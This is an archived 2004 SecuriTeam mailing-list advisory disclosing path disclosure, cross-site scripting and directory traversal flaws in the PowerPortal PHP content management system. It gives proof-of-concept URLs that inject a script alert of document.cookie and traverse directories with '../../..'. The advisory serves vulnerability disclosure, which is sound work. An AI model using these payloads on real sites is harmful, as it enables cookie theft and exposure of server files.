

[UNIX] Multiple Vulnerabilities PowerPortal

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-06/0077.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 06/28/04

To: list@securiteam.com

Date: 28 Jun 2004 16:50:18 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Multiple Vulnerabilities PowerPortal

SUMMARY

<<http://powerportal.sourceforge.net/>> PowerPortal is "a popular content management system", written in PHP. PowerPortal has been found to contain two security vulnerabilities a Path Disclosure vulnerability, a Cross Site Scripting issue and Arbitrary Path Content Disclosure.

DETAILS

Full Path Disclosure:

This vulnerability would allow a remote user to determine the full path to the web root directory and other potentially sensitive information.

Examples:

By accessing the following URL <http://attacker/modules/gallery/resize.php> an attacker can disclose the true location of the PHP script. Another URL that allows the same path disclosing vulnerability is <http://attacker/power/modules.php?name=gallery&files=darkbicho>.

Cross-Site Scripting:

By accessing any of the following URLs, you can cause the remote server to return arbitrary third party content as if it was its own, thus causing a XSS vulnerability:

Securiteam: [UNIX] Multiple Vulnerabilities PowerPortal

[http://attacker/modules.php?name=private_messages&file=reply&id='><script>alert\(document.cookie\);</script>](http://attacker/modules.php?name=private_messages&file=reply&id='><script>alert(document.cookie);</script>)
[http://attacker/modules.php?name=links&search=>alert\(document.cookie\);</script>&func=search_results](http://attacker/modules.php?name=links&search=>alert(document.cookie);</script>&func=search_results)
[http://attacker/modules.php?name=content&file=search&search=>alert\(document.cookie\);</script>&func=results](http://attacker/modules.php?name=content&file=search&search=>alert(document.cookie);</script>&func=results)
[http://attacker/modules.php?name=gallery&files=>alert\(document.cookie\);</script>](http://attacker/modules.php?name=gallery&files=>alert(document.cookie);</script>)

Arbitrary Directory Browsing:

An attacker accessing such a URL as

<http://attacker/modules.php?name=gallery&files=../../..> can cause the PHP script to reveal the directory structure and its content.

Vendor Status:

Vendors were contacted many weeks ago and plan to release a fixed version soon. Check the PowerPortal website for updates and official release details.

ADDITIONAL INFORMATION

The information has been provided by <mailto:darkbicho@fastmail.fm>
DarkBicho.

The original article can be found at:

<<http://www.swp-zone.org/archivos/advisory-07.txt>>
<http://www.swp-zone.org/archivos/advisory-07.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.